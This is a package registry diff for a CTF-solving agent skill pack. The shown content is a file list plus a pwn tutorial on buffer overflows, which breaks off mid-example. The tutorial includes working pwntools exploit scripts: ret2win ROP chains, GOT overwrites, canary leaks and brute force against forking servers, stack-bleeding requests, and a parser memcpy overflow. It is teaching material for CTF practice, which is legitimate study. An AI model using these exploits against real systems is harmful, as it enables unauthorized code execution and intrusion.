ctf-agent 1.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/AGENTS.md +131 -0
- package/Dockerfile +192 -0
- package/README.md +522 -0
- package/agents/ctf-analyzer.md +58 -0
- package/agents/ctf-controller.md +151 -0
- package/agents/ctf-speedrun.md +74 -0
- package/bin/ctf-agent.js +119 -0
- package/docker-compose.yml +13 -0
- package/mcp_config.json +19 -0
- package/package.json +44 -0
- package/references/ctf-triage-ladder.md +68 -0
- package/references/exploit-databases.md +575 -0
- package/references/llm-safety-and-policy-compliance.md +173 -0
- package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
- package/references/security-events-and-intelligence.md +566 -0
- package/references/version-matrix.md +59 -0
- package/rules/ctf-execution-rules.md +44 -0
- package/rules/ctf-safety-framing-rules.md +140 -0
- package/rules/flag-validation-rules.md +25 -0
- package/scripts/__init__.py +1 -0
- package/scripts/ctf-tools.lock +205 -0
- package/scripts/ctf_init.py +1026 -0
- package/scripts/ctf_update.py +583 -0
- package/scripts/ctfd_client.py +81 -0
- package/scripts/cve_lookup.py +453 -0
- package/scripts/extract_flags.py +155 -0
- package/scripts/install_as_agent.py +278 -0
- package/scripts/install_ctf_tools.sh +603 -0
- package/scripts/parallel_triage.py +395 -0
- package/scripts/prompt_policy_sanitizer.py +283 -0
- package/scripts/scope_guard.py +444 -0
- package/scripts/skill_validator.py +504 -0
- package/scripts/workspace_cleaner.py +141 -0
- package/skills/ctf-ai-ml/SKILL.md +120 -0
- package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
- package/skills/ctf-ai-ml/llm-attacks.md +487 -0
- package/skills/ctf-ai-ml/model-attacks.md +422 -0
- package/skills/ctf-crypto/SKILL.md +320 -0
- package/skills/ctf-crypto/advanced-math.md +798 -0
- package/skills/ctf-crypto/classic-ciphers.md +651 -0
- package/skills/ctf-crypto/ecc-attacks.md +347 -0
- package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
- package/skills/ctf-crypto/exotic-crypto.md +528 -0
- package/skills/ctf-crypto/historical.md +113 -0
- package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
- package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
- package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
- package/skills/ctf-crypto/modern-ciphers.md +649 -0
- package/skills/ctf-crypto/prng-attacks.md +257 -0
- package/skills/ctf-crypto/prng.md +664 -0
- package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
- package/skills/ctf-crypto/rsa-attacks.md +487 -0
- package/skills/ctf-crypto/stream-ciphers.md +390 -0
- package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
- package/skills/ctf-forensics/3d-printing.md +121 -0
- package/skills/ctf-forensics/SKILL.md +379 -0
- package/skills/ctf-forensics/disk-advanced.md +497 -0
- package/skills/ctf-forensics/disk-and-memory.md +491 -0
- package/skills/ctf-forensics/disk-recovery.md +699 -0
- package/skills/ctf-forensics/linux-forensics.md +511 -0
- package/skills/ctf-forensics/network-advanced.md +583 -0
- package/skills/ctf-forensics/network.md +645 -0
- package/skills/ctf-forensics/peripheral-capture.md +287 -0
- package/skills/ctf-forensics/signals-and-hardware.md +713 -0
- package/skills/ctf-forensics/steganography.md +694 -0
- package/skills/ctf-forensics/stego-advanced-2.md +475 -0
- package/skills/ctf-forensics/stego-advanced.md +481 -0
- package/skills/ctf-forensics/stego-image.md +691 -0
- package/skills/ctf-forensics/windows.md +625 -0
- package/skills/ctf-malware/SKILL.md +181 -0
- package/skills/ctf-malware/c2-and-protocols.md +274 -0
- package/skills/ctf-malware/pe-and-dotnet.md +108 -0
- package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
- package/skills/ctf-misc/SKILL.md +498 -0
- package/skills/ctf-misc/bashjails.md +323 -0
- package/skills/ctf-misc/ctfd-navigation.md +465 -0
- package/skills/ctf-misc/dns.md +255 -0
- package/skills/ctf-misc/encodings-advanced.md +504 -0
- package/skills/ctf-misc/encodings.md +431 -0
- package/skills/ctf-misc/games-and-vms-2.md +254 -0
- package/skills/ctf-misc/games-and-vms-3.md +690 -0
- package/skills/ctf-misc/games-and-vms-4.md +229 -0
- package/skills/ctf-misc/games-and-vms.md +529 -0
- package/skills/ctf-misc/linux-privesc.md +333 -0
- package/skills/ctf-misc/pyjails.md +671 -0
- package/skills/ctf-misc/rf-sdr.md +91 -0
- package/skills/ctf-osint/SKILL.md +198 -0
- package/skills/ctf-osint/geolocation-and-media.md +464 -0
- package/skills/ctf-osint/social-media.md +312 -0
- package/skills/ctf-osint/web-and-dns.md +341 -0
- package/skills/ctf-pwn/SKILL.md +214 -0
- package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
- package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
- package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
- package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
- package/skills/ctf-pwn/advanced-exploits.md +773 -0
- package/skills/ctf-pwn/advanced.md +326 -0
- package/skills/ctf-pwn/field-notes.md +245 -0
- package/skills/ctf-pwn/format-string.md +694 -0
- package/skills/ctf-pwn/heap-fsop.md +285 -0
- package/skills/ctf-pwn/heap-techniques-2.md +333 -0
- package/skills/ctf-pwn/heap-techniques.md +513 -0
- package/skills/ctf-pwn/kernel-bypass.md +421 -0
- package/skills/ctf-pwn/kernel-techniques.md +366 -0
- package/skills/ctf-pwn/kernel.md +636 -0
- package/skills/ctf-pwn/overflow-basics.md +611 -0
- package/skills/ctf-pwn/rop-advanced.md +725 -0
- package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
- package/skills/ctf-pwn/sandbox-escape.md +313 -0
- package/skills/ctf-reverse/SKILL.md +163 -0
- package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
- package/skills/ctf-reverse/anti-analysis.md +693 -0
- package/skills/ctf-reverse/field-notes.md +376 -0
- package/skills/ctf-reverse/languages-compiled.md +666 -0
- package/skills/ctf-reverse/languages-platforms.md +592 -0
- package/skills/ctf-reverse/languages.md +553 -0
- package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
- package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
- package/skills/ctf-reverse/patterns-ctf.md +670 -0
- package/skills/ctf-reverse/patterns-runtime.md +274 -0
- package/skills/ctf-reverse/patterns.md +572 -0
- package/skills/ctf-reverse/platforms-hardware.md +387 -0
- package/skills/ctf-reverse/platforms.md +664 -0
- package/skills/ctf-reverse/tools-advanced-2.md +421 -0
- package/skills/ctf-reverse/tools-advanced.md +407 -0
- package/skills/ctf-reverse/tools-dynamic.md +679 -0
- package/skills/ctf-reverse/tools-emulation.md +319 -0
- package/skills/ctf-reverse/tools.md +573 -0
- package/skills/ctf-web/SKILL.md +153 -0
- package/skills/ctf-web/auth-and-access-2.md +82 -0
- package/skills/ctf-web/auth-and-access.md +783 -0
- package/skills/ctf-web/auth-infra.md +321 -0
- package/skills/ctf-web/auth-jwt.md +186 -0
- package/skills/ctf-web/client-side-advanced.md +739 -0
- package/skills/ctf-web/client-side.md +529 -0
- package/skills/ctf-web/cves.md +373 -0
- package/skills/ctf-web/field-notes.md +482 -0
- package/skills/ctf-web/node-and-prototype.md +200 -0
- package/skills/ctf-web/server-side-2.md +337 -0
- package/skills/ctf-web/server-side-advanced-2.md +559 -0
- package/skills/ctf-web/server-side-advanced-3.md +125 -0
- package/skills/ctf-web/server-side-advanced-4.md +480 -0
- package/skills/ctf-web/server-side-advanced.md +378 -0
- package/skills/ctf-web/server-side-deser.md +443 -0
- package/skills/ctf-web/server-side-exec-2.md +799 -0
- package/skills/ctf-web/server-side-exec.md +457 -0
- package/skills/ctf-web/server-side.md +629 -0
- package/skills/ctf-web/sql-injection.md +790 -0
- package/skills/ctf-web/web3.md +374 -0
- package/skills/ctf-writeup/SKILL.md +90 -0
- package/skills/solve-challenge/SKILL.md +269 -0
- package/skills.json +16 -0
|
@@ -0,0 +1,611 @@
|
|
|
1
|
+
# CTF Pwn - Overflow Basics
|
|
2
|
+
|
|
3
|
+
## Table of Contents
|
|
4
|
+
- [Stack Buffer Overflow](#stack-buffer-overflow)
|
|
5
|
+
- [ret2win with Parameter (Magic Value Check)](#ret2win-with-parameter-magic-value-check)
|
|
6
|
+
- [Stack Alignment (16-byte Requirement)](#stack-alignment-16-byte-requirement)
|
|
7
|
+
- [Offset Calculation from Disassembly](#offset-calculation-from-disassembly)
|
|
8
|
+
- [Input Filtering (memmem checks)](#input-filtering-memmem-checks)
|
|
9
|
+
- [Finding Gadgets](#finding-gadgets)
|
|
10
|
+
- [Hidden Gadgets in CMP Immediates](#hidden-gadgets-in-cmp-immediates)
|
|
11
|
+
- [Struct Pointer Overwrite (Heap Menu Challenges)](#struct-pointer-overwrite-heap-menu-challenges)
|
|
12
|
+
- [Signed Integer Bypass (Negative Quantity)](#signed-integer-bypass-negative-quantity)
|
|
13
|
+
- [Canary-Aware Partial Overflow](#canary-aware-partial-overflow)
|
|
14
|
+
- [OOB Read via Stride/Rate Leak (DiceCTF 2026)](#oob-read-via-striderate-leak-dicectf-2026)
|
|
15
|
+
- [Stack Canary Byte-by-Byte Brute Force on Forking Servers](#stack-canary-byte-by-byte-brute-force-on-forking-servers)
|
|
16
|
+
- [Global Buffer Overflow (CSV Injection)](#global-buffer-overflow-csv-injection)
|
|
17
|
+
- [Protocol Length Field Stack Bleeding (EKOPARTY CTF 2016)](#protocol-length-field-stack-bleeding-ekoparty-ctf-2016)
|
|
18
|
+
- [Parser Stack Overflow via Unchecked memcpy Length (MetaCTF Flash 2026)](#parser-stack-overflow-via-unchecked-memcpy-length-metactf-flash-2026)
|
|
19
|
+
- [Stack Canary Null-Byte Overwrite Leak (CSAW 2017)](#stack-canary-null-byte-overwrite-leak-csaw-2017)
|
|
20
|
+
- [Empty-Token strncmp(n=0) MAC Bypass (UCSB iCTF 2018)](#empty-token-strncmpn0-mac-bypass-ucsb-ictf-2018)
|
|
21
|
+
- [Return Address LSB Overwrite + read() Chaining (TUCTF 2018)](#return-address-lsb-overwrite--read-chaining-tuctf-2018)
|
|
22
|
+
- [Canary Trailing-Byte Leak via Padding One Byte Past Null (hxp 2018)](#canary-trailing-byte-leak-via-padding-one-byte-past-null-hxp-2018)
|
|
23
|
+
- [Index-Only Bounds Check + Stride OOB Write (P.W.N. CTF 2018)](#index-only-bounds-check--stride-oob-write-pwn-ctf-2018)
|
|
24
|
+
- [Signed Index Negative OOB to Preceding GOT (P.W.N. CTF 2018)](#signed-index-negative-oob-to-preceding-got-pwn-ctf-2018)
|
|
25
|
+
- [PIE Same-Page Function Pivot via Single-Byte Overwrite (P.W.N. CTF 2018)](#pie-same-page-function-pivot-via-single-byte-overwrite-pwn-ctf-2018)
|
|
26
|
+
- [scanf Format-Error Skip for Canary Preservation (nullcon HackIM 2019)](#scanf-format-error-skip-for-canary-preservation-nullcon-hackim-2019)
|
|
27
|
+
|
|
28
|
+
---
|
|
29
|
+
|
|
30
|
+
## Stack Buffer Overflow
|
|
31
|
+
|
|
32
|
+
1. Find offset to return address: `cyclic 200` then `cyclic -l <value>`
|
|
33
|
+
2. Check protections: `checksec --file=binary`
|
|
34
|
+
3. No PIE + No canary = direct ROP
|
|
35
|
+
4. Canary leak via format string or partial overwrite
|
|
36
|
+
|
|
37
|
+
### ret2win with Parameter (Magic Value Check)
|
|
38
|
+
|
|
39
|
+
**Pattern:** Win function checks argument against magic value before printing flag.
|
|
40
|
+
|
|
41
|
+
```c
|
|
42
|
+
// Common pattern in disassembly
|
|
43
|
+
void win(long arg) {
|
|
44
|
+
if (arg == 0x1337c0decafebeef) { // Magic check
|
|
45
|
+
// Open and print flag
|
|
46
|
+
}
|
|
47
|
+
}
|
|
48
|
+
```
|
|
49
|
+
|
|
50
|
+
**Exploitation (x86-64):**
|
|
51
|
+
```python
|
|
52
|
+
from pwn import *
|
|
53
|
+
|
|
54
|
+
# Find gadgets
|
|
55
|
+
pop_rdi_ret = 0x40150b # pop rdi; ret
|
|
56
|
+
ret = 0x40101a # ret (for stack alignment)
|
|
57
|
+
win_func = 0x4013ac
|
|
58
|
+
magic = 0x1337c0decafebeef
|
|
59
|
+
|
|
60
|
+
offset = 112 + 8 # = 120 bytes to reach return address
|
|
61
|
+
|
|
62
|
+
payload = b"A" * offset
|
|
63
|
+
payload += p64(ret) # Stack alignment (Ubuntu/glibc requires 16-byte)
|
|
64
|
+
payload += p64(pop_rdi_ret)
|
|
65
|
+
payload += p64(magic)
|
|
66
|
+
payload += p64(win_func)
|
|
67
|
+
```
|
|
68
|
+
|
|
69
|
+
**Finding the win function:**
|
|
70
|
+
- Search for `fopen("flag.txt")` or similar in Ghidra
|
|
71
|
+
- Look for functions with no XREF that check a magic parameter
|
|
72
|
+
- Check for conditional print/exit patterns after parameter comparison
|
|
73
|
+
|
|
74
|
+
### Stack Alignment (16-byte Requirement)
|
|
75
|
+
|
|
76
|
+
Modern Ubuntu/glibc requires 16-byte stack alignment before `call` instructions. Symptoms of misalignment:
|
|
77
|
+
- SIGSEGV in `movaps` instruction (SSE requires alignment)
|
|
78
|
+
- Crash inside libc functions (printf, system, etc.)
|
|
79
|
+
|
|
80
|
+
**Fix:** Add extra `ret` gadget before your ROP chain:
|
|
81
|
+
```python
|
|
82
|
+
payload = b"A" * offset
|
|
83
|
+
payload += p64(ret) # Align stack to 16 bytes
|
|
84
|
+
payload += p64(pop_rdi_ret)
|
|
85
|
+
# ... rest of chain
|
|
86
|
+
```
|
|
87
|
+
|
|
88
|
+
### Offset Calculation from Disassembly
|
|
89
|
+
|
|
90
|
+
```asm
|
|
91
|
+
push %rbp
|
|
92
|
+
mov %rsp,%rbp
|
|
93
|
+
sub $0x70,%rsp ; Stack frame = 0x70 (112) bytes
|
|
94
|
+
...
|
|
95
|
+
lea -0x70(%rbp),%rax ; Buffer at rbp-0x70
|
|
96
|
+
mov $0xf0,%edx ; read() size = 240 (overflow!)
|
|
97
|
+
```
|
|
98
|
+
|
|
99
|
+
**Calculate offset:**
|
|
100
|
+
- Buffer starts at `rbp - buffer_offset` (e.g., rbp-0x70)
|
|
101
|
+
- Saved RBP is at `rbp` (0 offset from buffer end)
|
|
102
|
+
- Return address is at `rbp + 8`
|
|
103
|
+
- **Total offset = buffer_offset + 8** = 112 + 8 = 120 bytes
|
|
104
|
+
|
|
105
|
+
### Input Filtering (memmem checks)
|
|
106
|
+
|
|
107
|
+
Some challenges filter input using `memmem()` to block certain strings:
|
|
108
|
+
```python
|
|
109
|
+
payload = b"A" * 120 + p64(gadget) + p64(value)
|
|
110
|
+
assert b"badge" not in payload and b"token" not in payload
|
|
111
|
+
```
|
|
112
|
+
|
|
113
|
+
### Finding Gadgets
|
|
114
|
+
|
|
115
|
+
```bash
|
|
116
|
+
# Find pop rdi; ret
|
|
117
|
+
objdump -d binary | grep -B1 "pop.*rdi"
|
|
118
|
+
ROPgadget --binary binary | grep "pop rdi"
|
|
119
|
+
|
|
120
|
+
# Find simple ret (for alignment)
|
|
121
|
+
objdump -d binary | grep -E "^\s+[0-9a-f]+:\s+c3\s+ret"
|
|
122
|
+
```
|
|
123
|
+
|
|
124
|
+
### Hidden Gadgets in CMP Immediates
|
|
125
|
+
|
|
126
|
+
CMP instructions with large immediates encode useful byte sequences. pwntools `ROP()` finds these automatically:
|
|
127
|
+
|
|
128
|
+
```asm
|
|
129
|
+
# Example: cmpl $0xc35e415f, -0x4(%rbp)
|
|
130
|
+
# Bytes: 81 7d fc 5f 41 5e c3
|
|
131
|
+
# ^^ ^^ ^^ ^^
|
|
132
|
+
# At +3: 5f 41 5e c3 = pop rdi; pop r14; ret
|
|
133
|
+
# At +4: 41 5e c3 = pop r14; ret
|
|
134
|
+
# At +5: 5e c3 = pop rsi; ret
|
|
135
|
+
```
|
|
136
|
+
|
|
137
|
+
**When to look:** Small binaries with few functions often lack standard gadgets. Check `cmp`, `mov`, and `test` instructions with large immediates -- their operand bytes may decode as useful gadgets.
|
|
138
|
+
|
|
139
|
+
```python
|
|
140
|
+
rop = ROP(elf)
|
|
141
|
+
# pwntools finds these automatically
|
|
142
|
+
for addr, gadget in rop.gadgets.items():
|
|
143
|
+
print(hex(addr), gadget)
|
|
144
|
+
```
|
|
145
|
+
|
|
146
|
+
## Struct Pointer Overwrite (Heap Menu Challenges)
|
|
147
|
+
|
|
148
|
+
**Pattern:** Menu-based programs with create/modify/delete/view operations on structs containing both data buffers and pointers. The modify/edit function reads more bytes than the data buffer, overflowing into adjacent pointer fields.
|
|
149
|
+
|
|
150
|
+
**Struct layout example:**
|
|
151
|
+
```c
|
|
152
|
+
struct Student {
|
|
153
|
+
char name[36]; // offset 0x00 - data buffer
|
|
154
|
+
int *grade_ptr; // offset 0x24 - pointer to separate allocation
|
|
155
|
+
float gpa; // offset 0x28
|
|
156
|
+
}; // total: 0x2c (44 bytes)
|
|
157
|
+
```
|
|
158
|
+
|
|
159
|
+
**Exploitation:**
|
|
160
|
+
```python
|
|
161
|
+
from pwn import *
|
|
162
|
+
|
|
163
|
+
WIN = 0x08049316
|
|
164
|
+
GOT_TARGET = 0x0804c00c # printf@GOT
|
|
165
|
+
|
|
166
|
+
# 1. Create object (allocates struct + sub-allocations)
|
|
167
|
+
create_student("AAAA", 5, 3.5)
|
|
168
|
+
|
|
169
|
+
# 2. Modify name - overflow into pointer field with GOT address
|
|
170
|
+
payload = b'A' * 36 + p32(GOT_TARGET) # 36 bytes padding + GOT addr
|
|
171
|
+
modify_name(0, payload)
|
|
172
|
+
|
|
173
|
+
# 3. Modify grade - scanf("%d", corrupted_ptr) writes to GOT
|
|
174
|
+
modify_grade(0, str(WIN)) # Writes win addr as int to GOT entry
|
|
175
|
+
|
|
176
|
+
# 4. Trigger overwritten function -> jumps to win
|
|
177
|
+
```
|
|
178
|
+
|
|
179
|
+
**GOT target selection strategy:**
|
|
180
|
+
- Identify which libc functions the `win` function calls internally
|
|
181
|
+
- Do NOT overwrite GOT entries for functions used by `win` (causes infinite recursion/crash)
|
|
182
|
+
- Prefer functions called in the main loop AFTER the write
|
|
183
|
+
|
|
184
|
+
| Win uses | Safe GOT targets |
|
|
185
|
+
|----------|-------------------|
|
|
186
|
+
| puts, fopen, fread, fclose, exit | printf, free, getchar, malloc, scanf |
|
|
187
|
+
| printf, system | puts, exit, free |
|
|
188
|
+
| system only | puts, printf, exit |
|
|
189
|
+
|
|
190
|
+
## Signed Integer Bypass (Negative Quantity)
|
|
191
|
+
|
|
192
|
+
`scanf("%d")` without sign check; negative input bypasses unsigned comparisons. See [advanced-exploits.md](advanced-exploits.md#signed-integer-bypass-negative-quantity) for full details.
|
|
193
|
+
|
|
194
|
+
## Canary-Aware Partial Overflow
|
|
195
|
+
|
|
196
|
+
Overflow `valid` flag between buffer and canary without touching the canary. Use `./` as no-op path padding for precise length control. See [advanced-exploits.md](advanced-exploits.md#canary-aware-partial-overflow) for full exploit chain.
|
|
197
|
+
|
|
198
|
+
## OOB Read via Stride/Rate Leak (DiceCTF 2026)
|
|
199
|
+
|
|
200
|
+
**Pattern (ByteCrusher):** A string processing function walks input buffer with configurable stride (`rate`). When rate exceeds buffer size, it skips over the null terminator and reads adjacent stack data (canary, return address).
|
|
201
|
+
|
|
202
|
+
**Stack layout:**
|
|
203
|
+
```text
|
|
204
|
+
input_buf [0-31] <- user input (null at byte 31)
|
|
205
|
+
crushed [32-63] <- output buffer
|
|
206
|
+
canary [72-79] <- stack canary
|
|
207
|
+
saved rbp [80-87]
|
|
208
|
+
return addr [88-95] <- code pointer (defeats PIE)
|
|
209
|
+
```
|
|
210
|
+
|
|
211
|
+
**Vulnerable pattern:**
|
|
212
|
+
```c
|
|
213
|
+
void crush_string(char *input, char *output, int rate, int output_max_len) {
|
|
214
|
+
for (int i = 0; input[i] != '\0' && out_idx < output_max_len - 1; i += rate) {
|
|
215
|
+
output[out_idx++] = input[i]; // rate > bufsize skips past null terminator
|
|
216
|
+
}
|
|
217
|
+
}
|
|
218
|
+
```
|
|
219
|
+
|
|
220
|
+
**Exploitation:**
|
|
221
|
+
```python
|
|
222
|
+
from pwn import *
|
|
223
|
+
|
|
224
|
+
# Leak canary bytes 1-7 (byte 0 always 0x00)
|
|
225
|
+
canary = b'\x00'
|
|
226
|
+
for offset in range(73, 80): # canary at offsets 72-79
|
|
227
|
+
p.sendline(b'A' * 31) # fill buffer (null at byte 31)
|
|
228
|
+
p.sendline(str(offset).encode()) # rate = offset → reads input[0] then input[offset]
|
|
229
|
+
p.sendline(b'2') # output length = 2
|
|
230
|
+
resp = p.recvline()
|
|
231
|
+
canary += resp[1:2] # second char is leaked byte
|
|
232
|
+
|
|
233
|
+
# Leak return address bytes 0-5 (top 2 always 0x00 in userspace)
|
|
234
|
+
ret_addr = b''
|
|
235
|
+
for offset in range(88, 94):
|
|
236
|
+
p.sendline(b'A' * 31)
|
|
237
|
+
p.sendline(str(offset).encode())
|
|
238
|
+
p.sendline(b'2')
|
|
239
|
+
resp = p.recvline()
|
|
240
|
+
ret_addr += resp[1:2]
|
|
241
|
+
|
|
242
|
+
pie_base = u64(ret_addr.ljust(8, b'\x00')) - known_offset
|
|
243
|
+
admin_portal = pie_base + admin_offset
|
|
244
|
+
|
|
245
|
+
# Overflow gets() with leaked canary + computed address
|
|
246
|
+
payload = b'A' * 24 + canary + p64(0) + p64(admin_portal)
|
|
247
|
+
p.sendline(payload)
|
|
248
|
+
```
|
|
249
|
+
|
|
250
|
+
**When to use:** Any function that traverses a buffer with user-controlled step size and null-terminator-based stop condition.
|
|
251
|
+
|
|
252
|
+
**Key insight:** Stride-based OOB reads leak one byte per iteration by controlling which offset lands on the target byte. With enough iterations, leak full canary + return address to defeat both stack canary and PIE.
|
|
253
|
+
|
|
254
|
+
## Stack Canary Byte-by-Byte Brute Force on Forking Servers
|
|
255
|
+
|
|
256
|
+
**Pattern:** Server calls `fork()` for each connection. The child process inherits the same canary value. Brute-force the canary one byte at a time — each wrong byte crashes the child, but the parent continues with the same canary.
|
|
257
|
+
|
|
258
|
+
**Canary structure:** First byte is always `\x00` (prevents string function leaks). Remaining 7 bytes are random. Total: 8 bytes on x86-64, 4 on x86-32.
|
|
259
|
+
|
|
260
|
+
**Exploitation:**
|
|
261
|
+
```python
|
|
262
|
+
from pwn import *
|
|
263
|
+
|
|
264
|
+
OFFSET = 64 # bytes to canary (buffer size)
|
|
265
|
+
HOST, PORT = "target", 1337
|
|
266
|
+
|
|
267
|
+
def try_byte(known_canary, guess_byte):
|
|
268
|
+
"""Send overflow with known canary bytes + one guess. No crash = correct byte."""
|
|
269
|
+
p = remote(HOST, PORT)
|
|
270
|
+
payload = b'A' * OFFSET + known_canary + bytes([guess_byte])
|
|
271
|
+
p.send(payload)
|
|
272
|
+
try:
|
|
273
|
+
resp = p.recv(timeout=1)
|
|
274
|
+
p.close()
|
|
275
|
+
return True # No crash → byte is correct
|
|
276
|
+
except:
|
|
277
|
+
p.close()
|
|
278
|
+
return False # Crash → wrong byte
|
|
279
|
+
|
|
280
|
+
# Byte 0 is always \x00
|
|
281
|
+
canary = b'\x00'
|
|
282
|
+
|
|
283
|
+
# Brute-force bytes 1-7 (only 256 attempts per byte, 7*256 = 1792 total)
|
|
284
|
+
for byte_pos in range(1, 8):
|
|
285
|
+
for guess in range(256):
|
|
286
|
+
if try_byte(canary, guess):
|
|
287
|
+
canary += bytes([guess])
|
|
288
|
+
print(f"Canary byte {byte_pos}: 0x{guess:02x}")
|
|
289
|
+
break
|
|
290
|
+
else:
|
|
291
|
+
print(f"Failed at byte {byte_pos}")
|
|
292
|
+
break
|
|
293
|
+
|
|
294
|
+
print(f"Full canary: {canary.hex()}")
|
|
295
|
+
|
|
296
|
+
# Now overflow with correct canary + ROP chain
|
|
297
|
+
p = remote(HOST, PORT)
|
|
298
|
+
payload = b'A' * OFFSET + canary + b'B' * 8 + p64(win_addr)
|
|
299
|
+
p.sendline(payload)
|
|
300
|
+
```
|
|
301
|
+
|
|
302
|
+
**Prerequisites:**
|
|
303
|
+
- Server must `fork()` per connection (canary stays constant across children)
|
|
304
|
+
- Overflow must be controllable byte-by-byte (no all-at-once read)
|
|
305
|
+
- Distinguishable crash vs success response (timeout, error message, or connection behavior)
|
|
306
|
+
|
|
307
|
+
**Expected attempts:** 7 * 128 = 896 average (7 bytes * 128 average guesses per byte). Maximum 7 * 256 = 1792.
|
|
308
|
+
|
|
309
|
+
**Key insight:** `fork()` preserves the canary across child processes. Brute-forcing 8 bytes sequentially (7 * 256 = 1792 attempts) is vastly more efficient than brute-forcing all 8 bytes simultaneously (2^56 attempts).
|
|
310
|
+
|
|
311
|
+
---
|
|
312
|
+
|
|
313
|
+
## Global Buffer Overflow (CSV Injection)
|
|
314
|
+
|
|
315
|
+
**Pattern (Spreadsheet):** Overflow adjacent global variables via extra CSV delimiters to change filename pointer. See [advanced.md](advanced.md) for full exploit pattern.
|
|
316
|
+
|
|
317
|
+
---
|
|
318
|
+
|
|
319
|
+
## Protocol Length Field Stack Bleeding (EKOPARTY CTF 2016)
|
|
320
|
+
|
|
321
|
+
Custom network protocols that echo data based on a length field in the request header can leak stack memory when the length exceeds the actual data sent (similar to Heartbleed).
|
|
322
|
+
|
|
323
|
+
```python
|
|
324
|
+
from pwn import *
|
|
325
|
+
|
|
326
|
+
# Custom protocol: [4-byte magic][1-byte length][payload]
|
|
327
|
+
# Server echoes back `length` bytes of the response buffer
|
|
328
|
+
# If length > actual payload, server leaks stack/heap memory
|
|
329
|
+
|
|
330
|
+
io = remote('target.ctf', 1337)
|
|
331
|
+
|
|
332
|
+
# Normal request: 5 bytes of data, length = 5
|
|
333
|
+
# Bleeding request: 5 bytes of data, length = 255
|
|
334
|
+
magic = b'\x00\x01\x02\x03'
|
|
335
|
+
length_field = b'\xff' # request 255 bytes back
|
|
336
|
+
payload = b'AAAAA' # only send 5 bytes
|
|
337
|
+
|
|
338
|
+
io.send(magic + length_field + payload)
|
|
339
|
+
leaked = io.recv(255)
|
|
340
|
+
|
|
341
|
+
# Search leaked memory for flag pattern
|
|
342
|
+
if b'flag{' in leaked or b'CTF{' in leaked:
|
|
343
|
+
log.success(f"Flag found in leaked data!")
|
|
344
|
+
|
|
345
|
+
# Alternatively, search for addresses (libc pointers, stack addresses)
|
|
346
|
+
for i in range(0, len(leaked) - 8, 8):
|
|
347
|
+
addr = u64(leaked[i:i+8])
|
|
348
|
+
if 0x7f0000000000 < addr < 0x7fffffffffff:
|
|
349
|
+
log.info(f"Possible libc/stack address at offset {i}: {hex(addr)}")
|
|
350
|
+
```
|
|
351
|
+
|
|
352
|
+
**Key insight:** Any protocol where the server uses a client-supplied length to determine how much data to return is vulnerable to overread attacks. The server reads beyond the actual buffer into adjacent stack/heap memory, leaking sensitive data including flags, addresses, and canaries.
|
|
353
|
+
|
|
354
|
+
---
|
|
355
|
+
|
|
356
|
+
## Parser Stack Overflow via Unchecked memcpy Length (MetaCTF Flash 2026)
|
|
357
|
+
|
|
358
|
+
**Pattern (PCAP Trap):** Custom file parser (e.g., PCAP, image, archive) allocates a fixed-size stack buffer but allows input records with lengths exceeding the buffer. A `memcpy` copies the full record into the stack buffer before length validation, overwriting saved registers and return address.
|
|
359
|
+
|
|
360
|
+
```python
|
|
361
|
+
from pwn import *
|
|
362
|
+
|
|
363
|
+
# Example: PCAP parser with 0x10000 byte stack buffer
|
|
364
|
+
# but PCAP packets can specify up to 0x20000 bytes (snaplen)
|
|
365
|
+
# memcpy(stack_buf, packet_data, packet_len) has no bounds check
|
|
366
|
+
|
|
367
|
+
elf = ELF('./pcap_parser')
|
|
368
|
+
context.binary = elf
|
|
369
|
+
|
|
370
|
+
# Step 1: Determine overflow offset
|
|
371
|
+
# Buffer is 0x10000 bytes on stack
|
|
372
|
+
# After buffer: saved callee-save registers (rbx, r12, ...) then return address
|
|
373
|
+
BUF_SIZE = 0x10000
|
|
374
|
+
# Offset to saved registers depends on function prologue
|
|
375
|
+
# Check disassembly: push rbx; push r12; sub rsp, 0x10000
|
|
376
|
+
OFFSET_RBX = BUF_SIZE # first saved register
|
|
377
|
+
OFFSET_R12 = BUF_SIZE + 8 # second saved register
|
|
378
|
+
OFFSET_RET = BUF_SIZE + 16 # return address
|
|
379
|
+
|
|
380
|
+
# Step 2: Craft payload with register restoration
|
|
381
|
+
# Callee-saved registers must be valid or the function epilogue crashes
|
|
382
|
+
# rbx: point to readable memory (e.g., BSS) to avoid SIGSEGV on dereference
|
|
383
|
+
# r12: set to value that exits cleanly (e.g., loop terminator = 1)
|
|
384
|
+
|
|
385
|
+
bss_addr = elf.bss() # Readable memory for rbx
|
|
386
|
+
win_addr = elf.symbols['win'] # Target function
|
|
387
|
+
|
|
388
|
+
payload = b'A' * BUF_SIZE
|
|
389
|
+
payload += p64(bss_addr) # rbx -> valid readable address
|
|
390
|
+
payload += p64(1) # r12 = 1 (loop exit condition)
|
|
391
|
+
payload += p64(elf.symbols['ret_gadget']) # ret alignment gadget
|
|
392
|
+
payload += p64(win_addr) # return to win()
|
|
393
|
+
|
|
394
|
+
# Step 3: Wrap in valid file format container
|
|
395
|
+
# For PCAP: valid global header + packet header with large caplen
|
|
396
|
+
import struct
|
|
397
|
+
|
|
398
|
+
# PCAP global header
|
|
399
|
+
pcap_header = struct.pack('<IHHIIII',
|
|
400
|
+
0xa1b2c3d4, # magic number
|
|
401
|
+
2, 4, # version 2.4
|
|
402
|
+
0, # thiszone
|
|
403
|
+
0, # sigfigs
|
|
404
|
+
0x20000, # snaplen (max packet size - larger than stack buffer!)
|
|
405
|
+
1 # network (LINKTYPE_ETHERNET)
|
|
406
|
+
)
|
|
407
|
+
|
|
408
|
+
